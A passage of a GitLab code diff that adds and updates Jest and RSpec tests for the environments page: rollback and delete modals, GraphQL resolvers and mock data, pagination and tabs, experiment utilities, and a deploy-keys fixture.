+ const env = { ...environmentData, isLastDeployment: true };
+
+ createComponent(
+ {
+ environment: env,
+ hasMultipleCommits,
+ graphql: true,
+ },
+ { apolloProvider },
+ );
+
+ const modal = component.find(GlModal);
+ modal.vm.$emit('ok');
+
+ await nextTick();
+ expect(rollbackResolver).toHaveBeenCalledWith(
+ expect.anything(),
+ { environment: env },
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+ },
+ );
+ });
});
diff --git a/spec/frontend/environments/delete_environment_modal_spec.js b/spec/frontend/environments/delete_environment_modal_spec.js
new file mode 100644
index 00000000000..50c4ca00009
--- /dev/null
+++ b/spec/frontend/environments/delete_environment_modal_spec.js
@@ -0,0 +1,64 @@
+import { GlModal } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue, { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import { s__, sprintf } from '~/locale';
+import DeleteEnvironmentModal from '~/environments/components/delete_environment_modal.vue';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { resolvedEnvironment } from './graphql/mock_data';
+
+Vue.use(VueApollo);
+
+describe('~/environments/components/delete_environment_modal.vue', () => {
+ let mockApollo;
+ let deleteResolver;
+ let wrapper;
+
+ const createComponent = ({ props = {}, apolloProvider } = {}) => {
+ wrapper = shallowMount(DeleteEnvironmentModal, {
+ propsData: {
+ graphql: true,
+ environment: resolvedEnvironment,
+ ...props,
+ },
+ apolloProvider,
+ });
+ };
+
+ beforeEach(() => {
+ deleteResolver = jest.fn();
+ mockApollo = createMockApollo([], {
+ Mutation: { deleteEnvironment: deleteResolver },
+ });
+ });
+
+ it('should confirm the environment to delete', () => {
+ createComponent({ apolloProvider: mockApollo });
+
+ expect(wrapper.text()).toBe(
+ sprintf(
+ s__(
+ `Environments|Deleting the '%{environmentName}' environment cannot be undone. Do you want to delete it anyway?`,
+ ),
+ {
+ environmentName: resolvedEnvironment.name,
+ },
+ ),
+ );
+ });
+
+ it('should send the delete mutation on primary', async () => {
+ createComponent({ apolloProvider: mockApollo });
+
+ wrapper.findComponent(GlModal).vm.$emit('primary');
+
+ await nextTick();
+
+ expect(deleteResolver).toHaveBeenCalledWith(
+ expect.anything(),
+ { environment: resolvedEnvironment },
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+});
diff --git a/spec/frontend/environments/enable_review_app_modal_spec.js b/spec/frontend/environments/enable_review_app_modal_spec.js
index 9a3f13f19d5..17ae10a2884 100644
--- a/spec/frontend/environments/enable_review_app_modal_spec.js
+++ b/spec/frontend/environments/enable_review_app_modal_spec.js
@@ -1,10 +1,12 @@
import { shallowMount } from '@vue/test-utils';
+import { GlModal } from '@gitlab/ui';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import EnableReviewAppButton from '~/environments/components/enable_review_app_modal.vue';
import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
describe('Enable Review App Button', () => {
let wrapper;
+ let modal;
afterEach(() => {
wrapper.destroy();
@@ -16,12 +18,15 @@ describe('Enable Review App Button', () => {
shallowMount(EnableReviewAppButton, {
propsData: {
modalId: 'fake-id',
+ visible: true,
},
provide: {
defaultBranchName: 'main',
},
}),
);
+
+ modal = wrapper.findComponent(GlModal);
});
it('renders the defaultBranchName copy', () => {
@@ -32,5 +37,15 @@ describe('Enable Review App Button', () => {
it('renders the copyToClipboard button', () => {
expect(wrapper.findComponent(ModalCopyButton).exists()).toBe(true);
});
+
+ it('emits change events from the modal up', () => {
+ modal.vm.$emit('change', false);
+
+ expect(wrapper.emitted('change')).toEqual([[false]]);
+ });
+
+ it('passes visible to the modal', () => {
+ expect(modal.props('visible')).toBe(true);
+ });
});
});
diff --git a/spec/frontend/environments/environment_delete_spec.js b/spec/frontend/environments/environment_delete_spec.js
index 2d8cff0c74a..057cb9858c4 100644
--- a/spec/frontend/environments/environment_delete_spec.js
+++ b/spec/frontend/environments/environment_delete_spec.js
@@ -1,37 +1,71 @@
import { GlDropdownItem } from '@gitlab/ui';
-
import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import setEnvironmentToDelete from '~/environments/graphql/mutations/set_environment_to_delete.mutation.graphql';
import DeleteComponent from '~/environments/components/environment_delete.vue';
import eventHub from '~/environments/event_hub';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { resolvedEnvironment } from './graphql/mock_data';
describe('External URL Component', () => {
let wrapper;
- const createWrapper = () => {
+ const createWrapper = (props = {}, options = {}) => {
wrapper = shallowMount(DeleteComponent, {
+ ...options,
propsData: {
- environment: {},
+ environment: resolvedEnvironment,
+ ...props,
},
});
};
const findDropdownItem = () => wrapper.find(GlDropdownItem);
- beforeEach(() => {
- jest.spyOn(window, 'confirm');
+ describe('event hub', () => {
+ beforeEach(() => {
+ createWrapper();
+ });
- createWrapper();
- });
+ it('should render a dropdown item to delete the environment', () => {
+ expect(findDropdownItem().exists()).toBe(true);
+ expect(wrapper.text()).toEqual('Delete environment');
+ expect(findDropdownItem().attributes('variant')).toBe('danger');
+ });
- it('should render a dropdown item to delete the environment', () => {
- expect(findDropdownItem().exists()).toBe(true);
- expect(wrapper.text()).toEqual('Delete environment');
- expect(findDropdownItem().attributes('variant')).toBe('danger');
+ it('emits requestDeleteEnvironment in the event hub when button is clicked', () => {
+ jest.spyOn(eventHub, '$emit');
+ findDropdownItem().vm.$emit('click');
+ expect(eventHub.$emit).toHaveBeenCalledWith('requestDeleteEnvironment', resolvedEnvironment);
+ });
});
- it('emits requestDeleteEnvironment in the event hub when button is clicked', () => {
- jest.spyOn(eventHub, '$emit');
- findDropdownItem().vm.$emit('click');
- expect(eventHub.$emit).toHaveBeenCalledWith('requestDeleteEnvironment', wrapper.vm.environment);
+ describe('graphql', () => {
+ Vue.use(VueApollo);
+ let mockApollo;
+
+ beforeEach(() => {
+ mockApollo = createMockApollo();
+ createWrapper(
+ { graphql: true, environment: resolvedEnvironment },
+ { apolloProvider: mockApollo },
+ );
+ });
+
+ it('should render a dropdown item to delete the environment', () => {
+ expect(findDropdownItem().exists()).toBe(true);
+ expect(wrapper.text()).toEqual('Delete environment');
+ expect(findDropdownItem().attributes('variant')).toBe('danger');
+ });
+
+ it('emits requestDeleteEnvironment in the event hub when button is clicked', () => {
+ jest.spyOn(mockApollo.defaultClient, 'mutate');
+ findDropdownItem().vm.$emit('click');
+ expect(mockApollo.defaultClient.mutate).toHaveBeenCalledWith({
+ mutation: setEnvironmentToDelete,
+ variables: { environment: resolvedEnvironment },
+ });
+ });
});
});
diff --git a/spec/frontend/environments/environment_rollback_spec.js b/spec/frontend/environments/environment_rollback_spec.js
index cde675cd9e7..7eff46baaf7 100644
--- a/spec/frontend/environments/environment_rollback_spec.js
+++ b/spec/frontend/environments/environment_rollback_spec.js
@@ -1,7 +1,11 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
import { GlDropdownItem } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import RollbackComponent from '~/environments/components/environment_rollback.vue';
import eventHub from '~/environments/event_hub';
+import setEnvironmentToRollback from '~/environments/graphql/mutations/set_environment_to_rollback.mutation.graphql';
+import createMockApollo from 'helpers/mock_apollo_helper';
describe('Rollback Component', () => {
const retryUrl = 'https://gitlab.com/retry';
@@ -50,4 +54,29 @@ describe('Rollback Component', () => {
name: 'test',
});
});
+
+ it('should trigger a graphql mutation when graphql is enabled', () => {
+ Vue.use(VueApollo);
+
+ const apolloProvider = createMockApollo();
+ jest.spyOn(apolloProvider.defaultClient, 'mutate');
+ const environment = {
+ name: 'test',
+ };
+ const wrapper = shallowMount(RollbackComponent, {
+ propsData: {
+ retryUrl,
+ graphql: true,
+ environment,
+ },
+ apolloProvider,
+ });
+ const button = wrapper.find(GlDropdownItem);
+ button.vm.$emit('click');
+
+ expect(apolloProvider.defaultClient.mutate).toHaveBeenCalledWith({
+ mutation: setEnvironmentToRollback,
+ variables: { environment },
+ });
+ });
});
diff --git a/spec/frontend/environments/graphql/mock_data.js b/spec/frontend/environments/graphql/mock_data.js
index e56b6448b7d..e75d3ac0321 100644
--- a/spec/frontend/environments/graphql/mock_data.js
+++ b/spec/frontend/environments/graphql/mock_data.js
@@ -469,6 +469,33 @@ export const folder = {
stopped_count: 0,
};
+export const resolvedEnvironment = {
+ id: 41,
+ globalId: 'gid://gitlab/Environment/41',
+ name: 'review/hello',
+ state: 'available',
+ externalUrl: 'https://example.org',
+ environmentType: 'review',
+ nameWithoutType: 'hello',
+ lastDeployment: null,
+ hasStopAction: false,
+ rolloutStatus: null,
+ environmentPath: '/h5bp/html5-boilerplate/-/environments/41',
+ stopPath: '/h5bp/html5-boilerplate/-/environments/41/stop',
+ cancelAutoStopPath: '/h5bp/html5-boilerplate/-/environments/41/cancel_auto_stop',
+ deletePath: '/api/v4/projects/8/environments/41',
+ folderPath: '/h5bp/html5-boilerplate/-/environments/folders/review',
+ createdAt: '2021-10-04T19:27:00.527Z',
+ updatedAt: '2021-10-04T19:27:00.527Z',
+ canStop: true,
+ logsPath: '/h5bp/html5-boilerplate/-/logs?environment_name=review%2Fhello',
+ logsApiPath: '/h5bp/html5-boilerplate/-/logs/k8s.json?environment_name=review%2Fhello',
+ enableAdvancedLogsQuerying: false,
+ canDelete: false,
+ hasOpenedAlert: false,
+ __typename: 'LocalEnvironment',
+};
+
export const resolvedFolder = {
availableCount: 2,
environments: [
diff --git a/spec/frontend/environments/graphql/resolvers_spec.js b/spec/frontend/environments/graphql/resolvers_spec.js
index 4d2a0818996..d8d26b74504 100644
--- a/spec/frontend/environments/graphql/resolvers_spec.js
+++ b/spec/frontend/environments/graphql/resolvers_spec.js
@@ -1,18 +1,33 @@
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
import { resolvers } from '~/environments/graphql/resolvers';
+import environmentToRollback from '~/environments/graphql/queries/environment_to_rollback.query.graphql';
+import environmentToDelete from '~/environments/graphql/queries/environment_to_delete.query.graphql';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import pollIntervalQuery from '~/environments/graphql/queries/poll_interval.query.graphql';
+import pageInfoQuery from '~/environments/graphql/queries/page_info.query.graphql';
import { TEST_HOST } from 'helpers/test_constants';
-import { environmentsApp, resolvedEnvironmentsApp, folder, resolvedFolder } from './mock_data';
+import {
+ environmentsApp,
+ resolvedEnvironmentsApp,
+ resolvedEnvironment,
+ folder,
+ resolvedFolder,
+} from './mock_data';
const ENDPOINT = `${TEST_HOST}/environments`;
describe('~/frontend/environments/graphql/resolvers', () => {
let mockResolvers;
let mock;
+ let mockApollo;
+ let localState;
beforeEach(() => {
mockResolvers = resolvers(ENDPOINT);
mock = new MockAdapter(axios);
+ mockApollo = createMockApollo();
+ localState = mockApollo.defaultClient.localState;
});
afterEach(() => {
@@ -21,10 +36,87 @@ describe('~/frontend/environments/graphql/resolvers', () => {
describe('environmentApp', () => {
it('should fetch environments and map them to frontend data', async () => {
- mock.onGet(ENDPOINT, { params: { nested: true } }).reply(200, environmentsApp);
+ const cache = { writeQuery: jest.fn() };
+ const scope = 'available';
+ mock
+ .onGet(ENDPOINT, { params: { nested: true, scope, page: 1 } })
+ .reply(200, environmentsApp, {});
- const app = await mockResolvers.Query.environmentApp();
+ const app = await mockResolvers.Query.environmentApp(null, { scope, page: 1 }, { cache });
expect(app).toEqual(resolvedEnvironmentsApp);
+ expect(cache.writeQuery).toHaveBeenCalledWith({
+ query: pollIntervalQuery,
+ data: { interval: undefined },
+ });
+ });
+ it('should set the poll interval when there is one', async () => {
+ const cache = { writeQuery: jest.fn() };
+ const scope = 'stopped';
+ const interval = 3000;
+ mock
+ .onGet(ENDPOINT, { params: { nested: true, scope, page: 1 } })
+ .reply(200, environmentsApp, {
+ 'poll-interval': interval,
+ });
+
+ await mockResolvers.Query.environmentApp(null, { scope, page: 1 }, { cache });
+ expect(cache.writeQuery).toHaveBeenCalledWith({
+ query: pollIntervalQuery,
+ data: { interval },
+ });
+ });
+ it('should set page info if there is any', async () => {
+ const cache = { writeQuery: jest.fn() };
+ const scope = 'stopped';
+ mock
+ .onGet(ENDPOINT, { params: { nested: true, scope, page: 1 } })
+ .reply(200, environmentsApp, {
+ 'x-next-page': '2',
+ 'x-page': '1',
+ 'X-Per-Page': '2',
+ 'X-Prev-Page': '',
+ 'X-TOTAL': '37',
+ 'X-Total-Pages': '5',
+ });
+
+ await mockResolvers.Query.environmentApp(null, { scope, page: 1 }, { cache });
+ expect(cache.writeQuery).toHaveBeenCalledWith({
+ query: pageInfoQuery,
+ data: {
+ pageInfo: {
+ total: 37,
+ perPage: 2,
+ previousPage: NaN,
+ totalPages: 5,
+ nextPage: 2,
+ page: 1,
+ __typename: 'LocalPageInfo',
+ },
+ },
+ });
+ });
+ it('should not set page info if there is none', async () => {
+ const cache = { writeQuery: jest.fn() };
+ const scope = 'stopped';
+ mock
+ .onGet(ENDPOINT, { params: { nested: true, scope, page: 1 } })
+ .reply(200, environmentsApp, {});
+
+ await mockResolvers.Query.environmentApp(null, { scope, page: 1 }, { cache });
+ expect(cache.writeQuery).toHaveBeenCalledWith({
+ query: pageInfoQuery,
+ data: {
+ pageInfo: {
+ __typename: 'LocalPageInfo',
+ nextPage: NaN,
+ page: NaN,
+ perPage: NaN,
+ previousPage: NaN,
+ total: NaN,
+ totalPages: NaN,
+ },
+ },
+ });
});
});
describe('folder', () => {
@@ -42,7 +134,7 @@ describe('~/frontend/environments/graphql/resolvers', () => {
it('should post to the stop environment path', async () => {
mock.onPost(ENDPOINT).reply(200);
- await mockResolvers.Mutations.stopEnvironment(null, { environment: { stopPath: ENDPOINT } });
+ await mockResolvers.Mutation.stopEnvironment(null, { environment: { stopPath: ENDPOINT } });
expect(mock.history.post).toContainEqual(
expect.objectContaining({ url: ENDPOINT, method: 'post' }),
@@ -53,7 +145,7 @@ describe('~/frontend/environments/graphql/resolvers', () => {
it('should post to the retry environment path', async () => {
mock.onPost(ENDPOINT).reply(200);
- await mockResolvers.Mutations.rollbackEnvironment(null, {
+ await mockResolvers.Mutation.rollbackEnvironment(null, {
environment: { retryUrl: ENDPOINT },
});
@@ -66,7 +158,7 @@ describe('~/frontend/environments/graphql/resolvers', () => {
it('should DELETE to the delete environment path', async () => {
mock.onDelete(ENDPOINT).reply(200);
- await mockResolvers.Mutations.deleteEnvironment(null, {
+ await mockResolvers.Mutation.deleteEnvironment(null, {
environment: { deletePath: ENDPOINT },
});
@@ -79,7 +171,7 @@ describe('~/frontend/environments/graphql/resolvers', () => {
it('should post to the auto stop path', async () => {
mock.onPost(ENDPOINT).reply(200);
- await mockResolvers.Mutations.cancelAutoStop(null, {
+ await mockResolvers.Mutation.cancelAutoStop(null, {
environment: { autoStopPath: ENDPOINT },
});
@@ -88,4 +180,34 @@ describe('~/frontend/environments/graphql/resolvers', () => {
);
});
});
+ describe('setEnvironmentToRollback', () => {
+ it('should write the given environment to the cache', () => {
+ localState.client.writeQuery = jest.fn();
+ mockResolvers.Mutation.setEnvironmentToRollback(
+ null,
+ { environment: resolvedEnvironment },
+ localState,
+ );
+
+ expect(localState.client.writeQuery).toHaveBeenCalledWith({
+ query: environmentToRollback,
+ data: { environmentToRollback: resolvedEnvironment },
+ });
+ });
+ });
+ describe('setEnvironmentToDelete', () => {
+ it('should write the given environment to the cache', () => {
+ localState.client.writeQuery = jest.fn();
+ mockResolvers.Mutation.setEnvironmentToDelete(
+ null,
+ { environment: resolvedEnvironment },
+ localState,
+ );
+
+ expect(localState.client.writeQuery).toHaveBeenCalledWith({
+ query: environmentToDelete,
+ data: { environmentToDelete: resolvedEnvironment },
+ });
+ });
+ });
});
diff --git a/spec/frontend/environments/new_environment_folder_spec.js b/spec/frontend/environments/new_environment_folder_spec.js
index 5696e187a86..27d27d5869a 100644
--- a/spec/frontend/environments/new_environment_folder_spec.js
+++ b/spec/frontend/environments/new_environment_folder_spec.js
@@ -3,8 +3,8 @@ import Vue from 'vue';
import { GlCollapse, GlIcon } from '@gitlab/ui';
import createMockApollo from 'helpers/mock_apollo_helper';
import { mountExtended } from 'helpers/vue_test_utils_helper';
+import { __, s__ } from '~/locale';
import EnvironmentsFolder from '~/environments/components/new_environment_folder.vue';
-import { s__ } from '~/locale';
import { resolvedEnvironmentsApp, resolvedFolder } from './graphql/mock_data';
Vue.use(VueApollo);
@@ -14,6 +14,7 @@ describe('~/environments/components/new_environments_folder.vue', () => {
let environmentFolderMock;
let nestedEnvironment;
let folderName;
+ let button;
const findLink = () => wrapper.findByRole('link', { name: s__('Environments|Show all') });
@@ -32,6 +33,7 @@ describe('~/environments/components/new_environments_folder.vue', () => {
environmentFolderMock.mockReturnValue(resolvedFolder);
wrapper = createWrapper({ nestedEnvironment }, createApolloProvider());
folderName = wrapper.findByText(nestedEnvironment.name);
+ button = wrapper.findByRole('button', { name: __('Expand') });
});
afterEach(() => {
@@ -61,10 +63,11 @@ describe('~/environments/components/new_environments_folder.vue', () => {
});
it('opens on click', async () => {
- await folderName.trigger('click');
+ await button.trigger('click');
const link = findLink();
+ expect(button.attributes('aria-label')).toBe(__('Collapse'));
expect(collapse.attributes('visible')).toBe('true');
expect(icons.wrappers.map((i) => i.props('name'))).toEqual(['angle-down', 'folder-open']);
expect(folderName.classes('gl-font-weight-bold')).toBe(true);
diff --git a/spec/frontend/environments/new_environments_app_spec.js b/spec/frontend/environments/new_environments_app_spec.js
index 0ad8e8f442c..1e9bd4d64c9 100644
--- a/spec/frontend/environments/new_environments_app_spec.js
+++ b/spec/frontend/environments/new_environments_app_spec.js
@@ -1,8 +1,11 @@
-import Vue from 'vue';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
-import { mount } from '@vue/test-utils';
+import { GlPagination } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import setWindowLocation from 'helpers/set_window_location_helper';
+import { sprintf, __, s__ } from '~/locale';
import EnvironmentsApp from '~/environments/components/new_environments_app.vue';
import EnvironmentsFolder from '~/environments/components/new_environment_folder.vue';
import { resolvedEnvironmentsApp, resolvedFolder } from './graphql/mock_data';
@@ -13,20 +16,59 @@ describe('~/environments/components/new_environments_app.vue', () => {
let wrapper;
let environmentAppMock;
let environmentFolderMock;
+ let paginationMock;
const createApolloProvider = () => {
const mockResolvers = {
- Query: { environmentApp: environmentAppMock, folder: environmentFolderMock },
+ Query: {
+ environmentApp: environmentAppMock,
+ folder: environmentFolderMock,
+ pageInfo: paginationMock,
+ },
};
return createMockApollo([], mockResolvers);
};
- const createWrapper = (apolloProvider) => mount(EnvironmentsApp, { apolloProvider });
+ const createWrapper = ({ provide = {}, apolloProvider } = {}) =>
+ mountExtended(EnvironmentsApp, {
+ provide: {
+ newEnvironmentPath: '/environments/new',
+ canCreateEnvironment: true,
+ defaultBranchName: 'main',
+ ...provide,
+ },
+ apolloProvider,
+ });
+
+ const createWrapperWithMocked = async ({
+ provide = {},
+ environmentsApp,
+ folder,
+ pageInfo = {
+ total: 20,
+ perPage: 5,
+ nextPage: 3,
+ page: 2,
+ previousPage: 1,
+ __typename: 'LocalPageInfo',
+ },
+ }) => {
+ setWindowLocation('?scope=available&page=2');
+ environmentAppMock.mockReturnValue(environmentsApp);
+ environmentFolderMock.mockReturnValue(folder);
+ paginationMock.mockReturnValue(pageInfo);
+ const apolloProvider = createApolloProvider();
+ wrapper = createWrapper({ apolloProvider, provide });
+
+ await waitForPromises();
+ await nextTick();
+ };
beforeEach(() => {
environmentAppMock = jest.fn();
environmentFolderMock = jest.fn();
+ paginationMock = jest.fn();
});
afterEach(() => {
@@ -34,17 +76,196 @@ describe('~/environments/components/new_environments_app.vue', () => {
});
it('should show all the folders that are fetched', async () => {
- environmentAppMock.mockReturnValue(resolvedEnvironmentsApp);
- environmentFolderMock.mockReturnValue(resolvedFolder);
- const apolloProvider = createApolloProvider();
- wrapper = createWrapper(apolloProvider);
-
- await waitForPromises();
- await Vue.nextTick();
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
const text = wrapper.findAllComponents(EnvironmentsFolder).wrappers.map((w) => w.text());
expect(text).toContainEqual(expect.stringMatching('review'));
expect(text).not.toContainEqual(expect.stringMatching('production'));
});
+
+ it('should show a button to create a new environment', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+
+ const button = wrapper.findByRole('link', { name: s__('Environments|New environment') });
+ expect(button.attributes('href')).toBe('/environments/new');
+ });
+
+ it('should not show a button to create a new environment if the user has no permissions', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ provide: { canCreateEnvironment: false, newEnvironmentPath: '' },
+ });
+
+ const button = wrapper.findByRole('link', { name: s__('Environments|New environment') });
+ expect(button.exists()).toBe(false);
+ });
+
+ it('should show a button to open the review app modal', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+
+ const button = wrapper.findByRole('button', { name: s__('Environments|Enable review app') });
+ button.trigger('click');
+
+ await nextTick();
+
+ expect(wrapper.findByText(s__('ReviewApp|Enable Review App')).exists()).toBe(true);
+ });
+
+ it('should not show a button to open the review app modal if review apps are configured', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: {
+ ...resolvedEnvironmentsApp,
+ reviewApp: { canSetupReviewApp: false },
+ },
+ folder: resolvedFolder,
+ });
+ await waitForPromises();
+ await nextTick();
+
+ const button = wrapper.findByRole('button', { name: s__('Environments|Enable review app') });
+ expect(button.exists()).toBe(false);
+ });
+
+ describe('tabs', () => {
+ it('should show tabs for available and stopped environmets', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+
+ const [available, stopped] = wrapper.findAllByRole('tab').wrappers;
+
+ expect(available.text()).toContain(__('Available'));
+ expect(available.text()).toContain(resolvedEnvironmentsApp.availableCount);
+ expect(stopped.text()).toContain(__('Stopped'));
+ expect(stopped.text()).toContain(resolvedEnvironmentsApp.stoppedCount);
+ });
+
+ it('should change the requested scope on tab change', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+ const stopped = wrapper.findByRole('tab', {
+ name: `${__('Stopped')} ${resolvedEnvironmentsApp.stoppedCount}`,
+ });
+
+ stopped.trigger('click');
+
+ await nextTick();
+ await waitForPromises();
+
+ expect(environmentAppMock).toHaveBeenCalledWith(
+ expect.anything(),
+ expect.objectContaining({ scope: 'stopped' }),
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+ });
+
+ describe('pagination', () => {
+ it('should sync page from query params on load', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+
+ expect(wrapper.findComponent(GlPagination).props('value')).toBe(2);
+ });
+
+ it('should change the requested page on next page click', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+ const next = wrapper.findByRole('link', {
+ name: __('Go to next page'),
+ });
+
+ next.trigger('click');
+
+ await nextTick();
+ await waitForPromises();
+
+ expect(environmentAppMock).toHaveBeenCalledWith(
+ expect.anything(),
+ expect.objectContaining({ page: 3 }),
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+
+ it('should change the requested page on previous page click', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+ const prev = wrapper.findByRole('link', {
+ name: __('Go to previous page'),
+ });
+
+ prev.trigger('click');
+
+ await nextTick();
+ await waitForPromises();
+
+ expect(environmentAppMock).toHaveBeenCalledWith(
+ expect.anything(),
+ expect.objectContaining({ page: 1 }),
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+
+ it('should change the requested page on specific page click', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+
+ const page = 1;
+ const pageButton = wrapper.findByRole('link', {
+ name: sprintf(__('Go to page %{page}'), { page }),
+ });
+
+ pageButton.trigger('click');
+
+ await nextTick();
+ await waitForPromises();
+
+ expect(environmentAppMock).toHaveBeenCalledWith(
+ expect.anything(),
+ expect.objectContaining({ page }),
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+
+ it('should sync the query params to the new page', async () => {
+ await createWrapperWithMocked({
+ environmentsApp: resolvedEnvironmentsApp,
+ folder: resolvedFolder,
+ });
+ const next = wrapper.findByRole('link', {
+ name: __('Go to next page'),
+ });
+
+ next.trigger('click');
+
+ await nextTick();
+ expect(window.location.search).toBe('?scope=available&page=3');
+ });
+ });
});
diff --git a/spec/frontend/experimentation/utils_spec.js b/spec/frontend/experimentation/utils_spec.js
index 923795ca3f3..0d663fd055e 100644
--- a/spec/frontend/experimentation/utils_spec.js
+++ b/spec/frontend/experimentation/utils_spec.js
@@ -51,6 +51,29 @@ describe('experiment Utilities', () => {
expect(experimentUtils.getExperimentData(...input)).toEqual(output);
});
});
+
+ it('only collects the data properties which are supported by the schema', () => {
+ origGl = window.gl;
+ window.gl.experiments = {
+ my_experiment: {
+ experiment: 'my_experiment',
+ variant: 'control',
+ key: 'randomization-unit-key',
+ migration_keys: 'migration_keys object',
+ excluded: false,
+ other: 'foobar',
+ },
+ };
+
+ expect(experimentUtils.getExperimentData('my_experiment')).toEqual({
+ experiment: 'my_experiment',
+ variant: 'control',
+ key: 'randomization-unit-key',
+ migration_keys: 'migration_keys object',
+ });
+
+ window.gl = origGl;
+ });
});
describe('getAllExperimentContexts', () => {
@@ -72,29 +95,17 @@ describe('experiment Utilities', () => {
it('returns an empty array if there are no experiments', () => {
expect(experimentUtils.getAllExperimentContexts()).toEqual([]);
});
-
- it('only collects the data properties which are supported by the schema', () => {
- origGl = window.gl;
- window.gl.experiments = {
- my_experiment: { experiment: 'my_experiment', variant: 'control', excluded: false },
- };
-
- expect(experimentUtils.getAllExperimentContexts()).toEqual([
- { schema, data: { experiment: 'my_experiment', variant: 'control' } },
- ]);
-
- window.gl = origGl;
- });
});
describe('isExperimentVariant', () => {
describe.each`
- experiment | variant | input | output
- ${ABC_KEY} | ${DEFAULT_VARIANT} | ${[ABC_KEY, DEFAULT_VARIANT]} | ${true}
- ${ABC_KEY} | ${'_variant_name'} | ${[ABC_KEY, '_variant_name']} | ${true}
- ${ABC_KEY} | ${'_variant_name'} | ${[ABC_KEY, '_bogus_name']} | ${false}
- ${ABC_KEY} | ${'_variant_name'} | ${['boguskey', '_variant_name']} | ${false}
- ${undefined} | ${undefined} | ${[ABC_KEY, '_variant_name']} | ${false}
+ experiment | variant | input | output
+ ${ABC_KEY} | ${CANDIDATE_VARIANT} | ${[ABC_KEY]} | ${true}
+ ${ABC_KEY} | ${DEFAULT_VARIANT} | ${[ABC_KEY, DEFAULT_VARIANT]} | ${true}
+ ${ABC_KEY} | ${'_variant_name'} | ${[ABC_KEY, '_variant_name']} | ${true}
+ ${ABC_KEY} | ${'_variant_name'} | ${[ABC_KEY, '_bogus_name']} | ${false}
+ ${ABC_KEY} | ${'_variant_name'} | ${['boguskey', '_variant_name']} | ${false}
+ ${undefined} | ${undefined} | ${[ABC_KEY, '_variant_name']} | ${false}
`(
'with input=$input, experiment=$experiment, variant=$variant',
({ experiment, variant, input, output }) => {
diff --git a/spec/frontend/fixtures/api_deploy_keys.rb b/spec/frontend/fixtures/api_deploy_keys.rb
new file mode 100644
index 00000000000..7027b8c975b
--- /dev/null
+++ b/spec/frontend/fixtures/api_deploy_keys.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::DeployKeys, '(JavaScript fixtures)', type: :request do
+ include ApiHelpers
+ include JavaScriptFixturesHelpers
+
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:project2) { create(:project) }
+ let_it_be(:deploy_key) { create(:deploy_key, public: true) }
+ let_it_be(:deploy_key2) { create(:deploy_key, public: true) }
+ let_it_be(:deploy_keys_project) { create(:deploy_keys_project, :write_access, project: project, deploy_key: deploy_key) }
+ let_it_be(:deploy_keys_project2) { create(:deploy_keys_project, :write_access, project: project2, deploy_key: deploy_key) }
+ let_it_be(:deploy_keys_project3) { create(:deploy_keys_project, :write_access, project: project, deploy_key: deploy_key2) }
+ let_it_be(:deploy_keys_project4) { create(:deploy_keys_project, :write_access, project: project2, deploy_key: deploy_key2) }
+
+ it 'api/deploy_keys/index.json' do
+ get api("/deploy_keys", admin)
+
+ expect(response).to be_successful
+ end
+end
diff --git a/spec/frontend/fixtures/api_markdown.rb b/spec/frontend/fixtures/api_markdown.rb
deleted file mode 100644
index 89f012a5110..00000000000
--- a/spec/frontend/fixtures/api_markdown.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe API::MergeRequests, '(JavaScript fixtures)', type: :request do
- include ApiHelpers
- include WikiHelpers
- include JavaScriptFixturesHelpers
-
- let_it_be(:user) { create(:user, username: 'gitlab') }
-
- let_it_be(:group) { create(:group, :public) }
- let_it_be(:project) { create(:project, :public, :repository, group: group) }
-
- let_it_be(:label) { create(:label, project: project, title: 'bug') }
- let_it_be(:milestone) { create(:milestone, project: project, title: '1.1') }
- let_it_be(:issue) { create(:issue, project: project) }
- let_it_be(:merge_request) { create(:merge_request, source_project: project) }
-
- let_it_be(:project_wiki) { create(:project_wiki, project: project, user: user) }
-
